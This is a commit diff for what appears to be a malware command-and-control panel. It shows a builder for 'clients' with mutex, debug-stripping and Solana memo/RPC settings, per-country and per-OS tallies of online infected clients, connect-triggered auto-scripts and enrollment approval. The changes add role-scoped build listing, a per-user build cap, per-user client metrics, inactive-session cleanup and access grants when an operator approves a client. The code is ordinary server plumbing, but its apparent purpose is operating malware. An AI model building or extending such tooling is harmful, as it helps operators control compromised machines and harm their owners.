tons of server side fixes
This commit is contained in:
@@ -19,6 +19,7 @@ const solMemoCheckbox = document.getElementById("sol-memo");
|
|||||||
const solSettings = document.getElementById("sol-settings");
|
const solSettings = document.getElementById("sol-settings");
|
||||||
|
|
||||||
let currentServerVersion = null;
|
let currentServerVersion = null;
|
||||||
|
let currentUserRole = null;
|
||||||
|
|
||||||
async function loadServerVersion() {
|
async function loadServerVersion() {
|
||||||
try {
|
try {
|
||||||
@@ -96,7 +97,6 @@ function saveFormSettings() {
|
|||||||
solMemo: document.getElementById("sol-memo")?.checked ?? false,
|
solMemo: document.getElementById("sol-memo")?.checked ?? false,
|
||||||
solAddress: document.getElementById("sol-address")?.value ?? "",
|
solAddress: document.getElementById("sol-address")?.value ?? "",
|
||||||
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
solRpcEndpoints: document.getElementById("sol-rpc-endpoints")?.value ?? "",
|
||||||
outputName: document.getElementById("output-name")?.value ?? "",
|
|
||||||
mutex: document.getElementById("mutex")?.value ?? "",
|
mutex: document.getElementById("mutex")?.value ?? "",
|
||||||
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
disableMutex: document.querySelector('input[name="disable-mutex"]')?.checked ?? false,
|
||||||
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
stripDebug: document.querySelector('input[name="strip-debug"]')?.checked ?? true,
|
||||||
@@ -148,7 +148,6 @@ function restoreFormSettings() {
|
|||||||
if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo);
|
if (s.solMemo !== undefined) setCb("#sol-memo", s.solMemo);
|
||||||
if (s.solAddress !== undefined) setVal("sol-address", s.solAddress);
|
if (s.solAddress !== undefined) setVal("sol-address", s.solAddress);
|
||||||
if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints);
|
if (s.solRpcEndpoints !== undefined) setVal("sol-rpc-endpoints", s.solRpcEndpoints);
|
||||||
if (s.outputName !== undefined) setVal("output-name", s.outputName);
|
|
||||||
if (s.mutex !== undefined) setVal("mutex", s.mutex);
|
if (s.mutex !== undefined) setVal("mutex", s.mutex);
|
||||||
if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex);
|
if (s.disableMutex !== undefined) setCb('input[name="disable-mutex"]', s.disableMutex);
|
||||||
if (s.stripDebug !== undefined) setCb('input[name="strip-debug"]', s.stripDebug);
|
if (s.stripDebug !== undefined) setCb('input[name="strip-debug"]', s.stripDebug);
|
||||||
@@ -829,6 +828,7 @@ async function init() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
|
currentUserRole = data.role;
|
||||||
usernameDisplay.textContent = data.username;
|
usernameDisplay.textContent = data.username;
|
||||||
|
|
||||||
const roleBadges = {
|
const roleBadges = {
|
||||||
@@ -886,6 +886,20 @@ async function init() {
|
|||||||
|
|
||||||
await loadServerVersion();
|
await loadServerVersion();
|
||||||
await loadSavedBuilds();
|
await loadSavedBuilds();
|
||||||
|
|
||||||
|
const toggleAllBuildsBtn = document.getElementById("toggle-all-builds-btn");
|
||||||
|
const toggleAllBuildsLabel = document.getElementById("toggle-all-builds-label");
|
||||||
|
if (toggleAllBuildsBtn && currentUserRole === "admin") {
|
||||||
|
toggleAllBuildsBtn.classList.remove("hidden");
|
||||||
|
toggleAllBuildsBtn.addEventListener("click", async () => {
|
||||||
|
showAllBuilds = !showAllBuilds;
|
||||||
|
if (toggleAllBuildsLabel) {
|
||||||
|
toggleAllBuildsLabel.textContent = showAllBuilds ? "My Builds" : "Show All";
|
||||||
|
}
|
||||||
|
buildFilesDiv.innerHTML = "";
|
||||||
|
await loadSavedBuilds();
|
||||||
|
});
|
||||||
|
}
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
console.error("Failed to fetch user info:", err);
|
console.error("Failed to fetch user info:", err);
|
||||||
window.location.href = "/";
|
window.location.href = "/";
|
||||||
@@ -1431,9 +1445,12 @@ function removeBuildFromStorage(buildId) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
let showAllBuilds = false;
|
||||||
|
|
||||||
async function loadSavedBuilds() {
|
async function loadSavedBuilds() {
|
||||||
try {
|
try {
|
||||||
const res = await fetch("/api/build/list", {
|
const queryParam = showAllBuilds && currentUserRole === "admin" ? "?all=true" : "";
|
||||||
|
const res = await fetch(`/api/build/list${queryParam}`, {
|
||||||
credentials: "include",
|
credentials: "include",
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -830,6 +830,7 @@ async function wipeOfflineClients() {
|
|||||||
const sessionsTableBody = document.getElementById("sessions-table-body");
|
const sessionsTableBody = document.getElementById("sessions-table-body");
|
||||||
const sessionsMessage = document.getElementById("sessions-message");
|
const sessionsMessage = document.getElementById("sessions-message");
|
||||||
const refreshSessionsBtn = document.getElementById("refresh-sessions-btn");
|
const refreshSessionsBtn = document.getElementById("refresh-sessions-btn");
|
||||||
|
const removeInactiveSessionsBtn = document.getElementById("remove-inactive-sessions-btn");
|
||||||
|
|
||||||
function parseUserAgent(ua) {
|
function parseUserAgent(ua) {
|
||||||
if (!ua) return "Unknown";
|
if (!ua) return "Unknown";
|
||||||
@@ -905,7 +906,7 @@ async function loadSessions() {
|
|||||||
<tr>
|
<tr>
|
||||||
<td class="px-3 py-2 font-mono text-xs text-slate-100">${escapeHtml(s.ip || "—")}</td>
|
<td class="px-3 py-2 font-mono text-xs text-slate-100">${escapeHtml(s.ip || "—")}</td>
|
||||||
<td class="px-3 py-2 text-slate-300 text-xs max-w-[200px] truncate" title="${escapeHtml(s.userAgent || "")}">${escapeHtml(parseUserAgent(s.userAgent))}</td>
|
<td class="px-3 py-2 text-slate-300 text-xs max-w-[200px] truncate" title="${escapeHtml(s.userAgent || "")}">${escapeHtml(parseUserAgent(s.userAgent))}</td>
|
||||||
<td class="px-3 py-2 text-slate-400 text-xs">${formatDate(s.createdAt)}</td>
|
<td class="px-3 py-2 text-slate-400 text-xs">${formatDate(s.createdAt * 1000)}</td>
|
||||||
<td class="px-3 py-2 text-slate-400 text-xs">${formatRelativeTime(s.lastActivity)}</td>
|
<td class="px-3 py-2 text-slate-400 text-xs">${formatRelativeTime(s.lastActivity)}</td>
|
||||||
<td class="px-3 py-2 text-xs">${statusLabel}${currentBadge}</td>
|
<td class="px-3 py-2 text-xs">${statusLabel}${currentBadge}</td>
|
||||||
<td class="px-3 py-2 text-right">
|
<td class="px-3 py-2 text-right">
|
||||||
@@ -972,6 +973,32 @@ async function handleRevokeSessionClick(event) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
async function handleRemoveInactiveSessions() {
|
||||||
|
if (!confirm("Remove all expired and revoked sessions?")) return;
|
||||||
|
|
||||||
|
if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.disabled = true;
|
||||||
|
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/sessions/inactive", {
|
||||||
|
method: "DELETE",
|
||||||
|
credentials: "include",
|
||||||
|
});
|
||||||
|
|
||||||
|
const data = await res.json().catch(() => ({}));
|
||||||
|
if (!res.ok) {
|
||||||
|
showSessionsMessage(data.error || "Failed to remove inactive sessions", "error");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
showSessionsMessage(`Removed ${data.removed || 0} inactive session(s)`);
|
||||||
|
await loadSessions();
|
||||||
|
} catch {
|
||||||
|
showSessionsMessage("Request failed", "error");
|
||||||
|
} finally {
|
||||||
|
if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.disabled = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
async function init() {
|
async function init() {
|
||||||
try {
|
try {
|
||||||
await loadCurrentUser();
|
await loadCurrentUser();
|
||||||
@@ -1020,6 +1047,7 @@ async function init() {
|
|||||||
|
|
||||||
await loadSessions();
|
await loadSessions();
|
||||||
if (refreshSessionsBtn) refreshSessionsBtn.addEventListener("click", loadSessions);
|
if (refreshSessionsBtn) refreshSessionsBtn.addEventListener("click", loadSessions);
|
||||||
|
if (removeInactiveSessionsBtn) removeInactiveSessionsBtn.addEventListener("click", handleRemoveInactiveSessions);
|
||||||
if (sessionsTableBody) sessionsTableBody.addEventListener("click", handleRevokeSessionClick);
|
if (sessionsTableBody) sessionsTableBody.addEventListener("click", handleRevokeSessionClick);
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
console.error("settings init failed", error);
|
console.error("settings init failed", error);
|
||||||
|
|||||||
@@ -596,9 +596,19 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div id="build-results" class="mt-4 hidden">
|
<div id="build-results" class="mt-4 hidden">
|
||||||
<h3 class="font-medium mb-2 flex items-center gap-2">
|
<div class="flex items-center justify-between mb-2">
|
||||||
<i class="fa-solid fa-download"></i> Built Clients
|
<h3 class="font-medium flex items-center gap-2">
|
||||||
</h3>
|
<i class="fa-solid fa-download"></i> Built Clients
|
||||||
|
</h3>
|
||||||
|
<button
|
||||||
|
id="toggle-all-builds-btn"
|
||||||
|
class="hidden inline-flex items-center gap-2 px-3 py-1.5 rounded-lg bg-slate-800 hover:bg-slate-700 border border-slate-700 text-slate-300 text-xs transition-colors"
|
||||||
|
type="button"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-eye"></i>
|
||||||
|
<span id="toggle-all-builds-label">Show All</span>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
<div id="build-files" class="flex flex-col gap-2"></div>
|
<div id="build-files" class="flex flex-col gap-2"></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -261,6 +261,13 @@
|
|||||||
>
|
>
|
||||||
<i class="fa-solid fa-rotate"></i>Refresh
|
<i class="fa-solid fa-rotate"></i>Refresh
|
||||||
</button>
|
</button>
|
||||||
|
<button
|
||||||
|
id="remove-inactive-sessions-btn"
|
||||||
|
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-red-900/40 hover:bg-red-800/60 text-red-100 border border-red-700/60 text-sm transition-colors"
|
||||||
|
type="button"
|
||||||
|
>
|
||||||
|
<i class="fa-solid fa-broom"></i>Remove Inactive
|
||||||
|
</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="overflow-x-auto border border-slate-800 rounded-lg">
|
<div class="overflow-x-auto border border-slate-800 rounded-lg">
|
||||||
|
|||||||
@@ -1005,6 +1005,94 @@ export function getClientMetricsSummary(): ClientMetricsSummary {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function getClientMetricsSummaryForUser(userId: number): ClientMetricsSummary {
|
||||||
|
const filter = `WHERE built_by_user_id = ?`;
|
||||||
|
|
||||||
|
const counts = db
|
||||||
|
.query<{ total: number; online: number }>(
|
||||||
|
`SELECT COUNT(*) as total, SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online FROM clients ${filter}`,
|
||||||
|
)
|
||||||
|
.get(userId) ?? { total: 0, online: 0 };
|
||||||
|
|
||||||
|
const osRows = db
|
||||||
|
.query<{ key: string; total: number; online: number }>(
|
||||||
|
`SELECT
|
||||||
|
COALESCE(NULLIF(os, ''), 'unknown') as key,
|
||||||
|
COUNT(*) as total,
|
||||||
|
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
|
||||||
|
FROM clients ${filter}
|
||||||
|
GROUP BY COALESCE(NULLIF(os, ''), 'unknown')`,
|
||||||
|
)
|
||||||
|
.all(userId);
|
||||||
|
|
||||||
|
const countryRows = db
|
||||||
|
.query<{ key: string; total: number; online: number }>(
|
||||||
|
`SELECT
|
||||||
|
COALESCE(NULLIF(country, ''), 'ZZ') as key,
|
||||||
|
COUNT(*) as total,
|
||||||
|
SUM(CASE WHEN online=1 THEN 1 ELSE 0 END) as online
|
||||||
|
FROM clients ${filter}
|
||||||
|
GROUP BY COALESCE(NULLIF(country, ''), 'ZZ')`,
|
||||||
|
)
|
||||||
|
.all(userId);
|
||||||
|
|
||||||
|
const byOS: Record<string, number> = {};
|
||||||
|
const byOSOnline: Record<string, number> = {};
|
||||||
|
for (const row of osRows) {
|
||||||
|
byOS[row.key] = Number(row.total) || 0;
|
||||||
|
byOSOnline[row.key] = Number(row.online) || 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
const byCountry: Record<string, number> = {};
|
||||||
|
const byCountryOnline: Record<string, number> = {};
|
||||||
|
for (const row of countryRows) {
|
||||||
|
byCountry[row.key] = Number(row.total) || 0;
|
||||||
|
byCountryOnline[row.key] = Number(row.online) || 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
return {
|
||||||
|
total: Number(counts.total) || 0,
|
||||||
|
online: Number(counts.online) || 0,
|
||||||
|
byOS,
|
||||||
|
byCountry,
|
||||||
|
byOSOnline,
|
||||||
|
byCountryOnline,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function countBuildsForUser(userId: number): number {
|
||||||
|
const row = db
|
||||||
|
.query<{ c: number }>(`SELECT COUNT(*) as c FROM builds WHERE built_by_user_id = ?`)
|
||||||
|
.get(userId);
|
||||||
|
return row?.c ?? 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function getOldestBuildForUser(userId: number): BuildRecord | null {
|
||||||
|
const row = db
|
||||||
|
.query<any>(`SELECT * FROM builds WHERE built_by_user_id = ? ORDER BY start_time ASC LIMIT 1`)
|
||||||
|
.get(userId);
|
||||||
|
if (!row) return null;
|
||||||
|
return {
|
||||||
|
id: row.id,
|
||||||
|
status: row.status,
|
||||||
|
startTime: row.start_time,
|
||||||
|
expiresAt: row.expires_at,
|
||||||
|
files: JSON.parse(row.files),
|
||||||
|
buildTag: row.build_tag || undefined,
|
||||||
|
builtByUserId: row.built_by_user_id || undefined,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export function deleteInactiveSessions(userId: number): number {
|
||||||
|
const now = Math.floor(Date.now() / 1000);
|
||||||
|
const result = db.run(
|
||||||
|
`DELETE FROM sessions WHERE user_id = ? AND (revoked = 1 OR expires_at <= ?)`,
|
||||||
|
userId,
|
||||||
|
now,
|
||||||
|
);
|
||||||
|
return result.changes;
|
||||||
|
}
|
||||||
|
|
||||||
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
|
export type AutoScriptTrigger = "on_connect" | "on_first_connect" | "on_connect_once";
|
||||||
|
|
||||||
export type AutoScript = {
|
export type AutoScript = {
|
||||||
|
|||||||
@@ -15,6 +15,7 @@ import {
|
|||||||
hashTokenForSession,
|
hashTokenForSession,
|
||||||
persistRevokedTokenHash,
|
persistRevokedTokenHash,
|
||||||
getSessionById,
|
getSessionById,
|
||||||
|
deleteInactiveSessions,
|
||||||
} from "../../db";
|
} from "../../db";
|
||||||
import { logger } from "../../logger";
|
import { logger } from "../../logger";
|
||||||
import {
|
import {
|
||||||
@@ -187,6 +188,27 @@ export async function handleAuthRoutes(
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (req.method === "DELETE" && url.pathname === "/api/sessions/inactive") {
|
||||||
|
const user = await authenticateRequest(req);
|
||||||
|
if (!user) {
|
||||||
|
return Response.json({ error: "Not authenticated" }, { status: 401 });
|
||||||
|
}
|
||||||
|
|
||||||
|
const removed = deleteInactiveSessions(user.userId);
|
||||||
|
|
||||||
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
|
logAudit({
|
||||||
|
timestamp: Date.now(),
|
||||||
|
username: user.username,
|
||||||
|
ip,
|
||||||
|
action: AuditAction.LOGOUT,
|
||||||
|
details: `Removed ${removed} inactive session(s)`,
|
||||||
|
success: true,
|
||||||
|
});
|
||||||
|
|
||||||
|
return Response.json({ ok: true, removed });
|
||||||
|
}
|
||||||
|
|
||||||
if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/sessions$/)) {
|
if (req.method === "GET" && url.pathname.match(/^\/api\/users\/\d+\/sessions$/)) {
|
||||||
const user = await authenticateRequest(req);
|
const user = await authenticateRequest(req);
|
||||||
if (!user) {
|
if (!user) {
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import { authenticateRequest } from "../../auth";
|
|||||||
import { AuditAction, logAudit } from "../../auditLog";
|
import { AuditAction, logAudit } from "../../auditLog";
|
||||||
import * as buildManager from "../../build/buildManager";
|
import * as buildManager from "../../build/buildManager";
|
||||||
import * as clientManager from "../../clientManager";
|
import * as clientManager from "../../clientManager";
|
||||||
import { deleteBuild, getAllBuilds, getBuild } from "../../db";
|
import { deleteBuild, getAllBuilds, getBuild, countBuildsForUser, getOldestBuildForUser } from "../../db";
|
||||||
import { encodeMessage } from "../../protocol";
|
import { encodeMessage } from "../../protocol";
|
||||||
import { metrics } from "../../metrics";
|
import { metrics } from "../../metrics";
|
||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission } from "../../rbac";
|
||||||
@@ -180,6 +180,30 @@ export async function handleBuildRoutes(
|
|||||||
const buildId = uuidv4();
|
const buildId = uuidv4();
|
||||||
const ip = server.requestIP(req)?.address || "unknown";
|
const ip = server.requestIP(req)?.address || "unknown";
|
||||||
|
|
||||||
|
// Enforce max 10 builds per user — auto-delete oldest when limit exceeded
|
||||||
|
const MAX_BUILDS_PER_USER = 10;
|
||||||
|
const currentCount = countBuildsForUser(user.userId);
|
||||||
|
if (currentCount >= MAX_BUILDS_PER_USER) {
|
||||||
|
const oldest = getOldestBuildForUser(user.userId);
|
||||||
|
if (oldest) {
|
||||||
|
if (oldest.files) {
|
||||||
|
const rootDir = resolveRuntimeRoot();
|
||||||
|
const outDir = path.join(rootDir, "dist-clients");
|
||||||
|
for (const file of oldest.files) {
|
||||||
|
try {
|
||||||
|
const fp = path.join(outDir, file.filename);
|
||||||
|
if (fs.existsSync(fp)) {
|
||||||
|
fs.unlinkSync(fp);
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
buildManager.deleteBuildStream(oldest.id);
|
||||||
|
deleteBuild(oldest.id);
|
||||||
|
logger.info(`[build:limit] Auto-deleted oldest build ${oldest.id.substring(0, 8)} for user ${user.username} (limit: ${MAX_BUILDS_PER_USER})`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
logAudit({
|
logAudit({
|
||||||
timestamp: Date.now(),
|
timestamp: Date.now(),
|
||||||
username: user.username,
|
username: user.username,
|
||||||
@@ -324,7 +348,10 @@ export async function handleBuildRoutes(
|
|||||||
if (req.method === "GET" && url.pathname === "/api/build/list") {
|
if (req.method === "GET" && url.pathname === "/api/build/list") {
|
||||||
requirePermission(user, "clients:build");
|
requirePermission(user, "clients:build");
|
||||||
|
|
||||||
const builds = getAllBuilds(user.userId, user.role);
|
const showAll = url.searchParams.get("all") === "true" && user.role === "admin";
|
||||||
|
const builds = showAll
|
||||||
|
? getAllBuilds(undefined, "admin")
|
||||||
|
: getAllBuilds(user.userId, user.role === "admin" ? "operator" : user.role);
|
||||||
return Response.json({ builds });
|
return Response.json({ builds });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,18 @@ import { logAudit, AuditAction } from "../../auditLog";
|
|||||||
import * as clientManager from "../../clientManager";
|
import * as clientManager from "../../clientManager";
|
||||||
import { setOnlineState } from "../../db";
|
import { setOnlineState } from "../../db";
|
||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission } from "../../rbac";
|
||||||
|
import { getUserClientAccessScope, setUserClientAccessScope, setUserClientAccessRule } from "../../users";
|
||||||
|
|
||||||
|
function grantClientAccess(userId: number, role: string, clientId: string): void {
|
||||||
|
if (role === "admin") return;
|
||||||
|
const currentScope = getUserClientAccessScope(userId);
|
||||||
|
if (currentScope === "none") {
|
||||||
|
setUserClientAccessScope(userId, "allowlist");
|
||||||
|
}
|
||||||
|
if (currentScope === "none" || currentScope === "allowlist") {
|
||||||
|
setUserClientAccessRule(userId, clientId, "allow");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
function getClientScopeFilters(userId: number, role: string): {
|
function getClientScopeFilters(userId: number, role: string): {
|
||||||
allowedClientIds?: string[];
|
allowedClientIds?: string[];
|
||||||
@@ -118,6 +130,8 @@ export async function handleEnrollmentRoutes(
|
|||||||
|
|
||||||
setClientEnrollmentStatus(clientId, "approved", user.username);
|
setClientEnrollmentStatus(clientId, "approved", user.username);
|
||||||
|
|
||||||
|
grantClientAccess(user.userId, user.role, clientId);
|
||||||
|
|
||||||
_postApproveHook?.(clientId);
|
_postApproveHook?.(clientId);
|
||||||
|
|
||||||
logAudit({
|
logAudit({
|
||||||
@@ -261,6 +275,7 @@ export async function handleEnrollmentRoutes(
|
|||||||
if (ok) {
|
if (ok) {
|
||||||
updated++;
|
updated++;
|
||||||
if (action === "approve") {
|
if (action === "approve") {
|
||||||
|
grantClientAccess(user.userId, user.role, id);
|
||||||
_postApproveHook?.(id);
|
_postApproveHook?.(id);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { authenticateRequest } from "../../auth";
|
import { authenticateRequest } from "../../auth";
|
||||||
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
|
||||||
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, getExportableConfig, importFullConfig } from "../../config";
|
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, getExportableConfig, importFullConfig } from "../../config";
|
||||||
import { getClientMetricsSummary } from "../../db";
|
import { getClientMetricsSummary, getClientMetricsSummaryForUser } from "../../db";
|
||||||
import { metrics } from "../../metrics";
|
import { metrics } from "../../metrics";
|
||||||
import { requirePermission } from "../../rbac";
|
import { requirePermission } from "../../rbac";
|
||||||
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess } from "../../users";
|
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess } from "../../users";
|
||||||
@@ -40,7 +40,9 @@ export async function handleMiscRoutes(
|
|||||||
|
|
||||||
const snapshot = metrics.getSnapshot();
|
const snapshot = metrics.getSnapshot();
|
||||||
|
|
||||||
const clientSummary = getClientMetricsSummary();
|
const clientSummary = user.role === "admin"
|
||||||
|
? getClientMetricsSummary()
|
||||||
|
: getClientMetricsSummaryForUser(user.userId);
|
||||||
snapshot.clients.total = clientSummary.total;
|
snapshot.clients.total = clientSummary.total;
|
||||||
snapshot.clients.online = clientSummary.online;
|
snapshot.clients.online = clientSummary.online;
|
||||||
snapshot.clients.offline = clientSummary.total - clientSummary.online;
|
snapshot.clients.offline = clientSummary.total - clientSummary.online;
|
||||||
|
|||||||
Reference in New Issue
Block a user